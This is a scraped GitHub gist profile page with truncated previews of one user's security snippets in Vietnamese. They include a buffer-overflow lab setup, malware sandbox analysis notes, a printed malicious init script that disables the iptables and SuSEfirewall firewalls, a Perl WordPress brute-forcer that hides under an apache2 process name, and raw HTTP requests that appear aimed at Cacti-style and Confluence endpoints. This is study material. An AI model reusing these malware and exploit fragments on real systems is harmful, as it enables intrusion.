Skip to content

Instantly share code, notes, and snippets.

View MinhKMA's full-sized avatar
💭
open, open more, open forever

Nguyễn Văn Minh MinhKMA

💭
open, open more, open forever
View GitHub Profile

Mô hình

  • Sử dụng CentOS7 cài đặt python
  • Sử dụng win7 32 bit cài đặt python 2.7.14

Tải phần mềm Easy RM to MP3 Converter

Bước 1:

  • Tải phần mềm cài đặt tại đây.

Lab2

  • Hôm lâu xin được bạn học lớp an toàn ứng dụng một số mẫu samples. Nhưng này mình mới có thời gian vọc nó. Mình note lại nhanh nếu có nhiều sai sót thì mong các độc giả lượng thứ.

Phân tích động

Thả vào môi trường sandbox. Ở đây mình dùng cuckoo

Xem qua kết quả

cat /etc/init.d/S67
#!/bin/bash
#chkconfig: 2345 88 14
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
function downloadyam() {
/etc/init.d/iptables stop
service iptables stop
sUsEFirewall2 stopresUsEFirewall2 stop
lkd> !dml_proc
Address  PID  Image file name
84be5020 4    System         
85c26bc0 104  smss.exe       
86529a38 150  csrss.exe      
84be9200 180  wininit.exe    
85cb4d40 188  csrss.exe      
859d9d40 1bc  winlogon.exe   
865023d0 1ec  services.exe   
version: '3.3'
services:
db:
image: mysql:5.7
volumes:
- db_data:/var/lib/mysql
restart: always
environment:
MYSQL_ROOT_PASSWORD: somewordpress
lsof -n
lsof -i tcp; lsof -i udp
lsof -u username
lsof -p pid
lsof -n -P -i
netstat -anp
use Getopt::Long;
use constant ('TRUE', 1);
use constant ('FALSE', 0);
use constant ('WPBRUTER_FILENAME', 'w.pl');
use constant ('WPBRUTER_PROCNAME', 'apache2');
use constant ('MY_PROCNAME', '[httpd]');
use constant ('LOG_FILENAME', 'status.log');
my $cCommand = 'ps aux | grep apache2 | wc -l';
my $nThreads = 50;
my $Verbose = 0;
use HTTP::Request;
use HTTP::Cookies;
use HTML::LinkExtor;
use LWP::UserAgent;
use LWP::Simple;
use IO::Socket::INET;
use Getopt::Long;
use constant ('TRUE', 1);
use constant ('FALSE', 0);
use constant ('HTTPTimeout', 8);
POST /rrd_fetch_json.php HTTP/1.1
Host: dmm
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 165
Connection: close
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 10.10.10.176:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://10.10.10.176:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8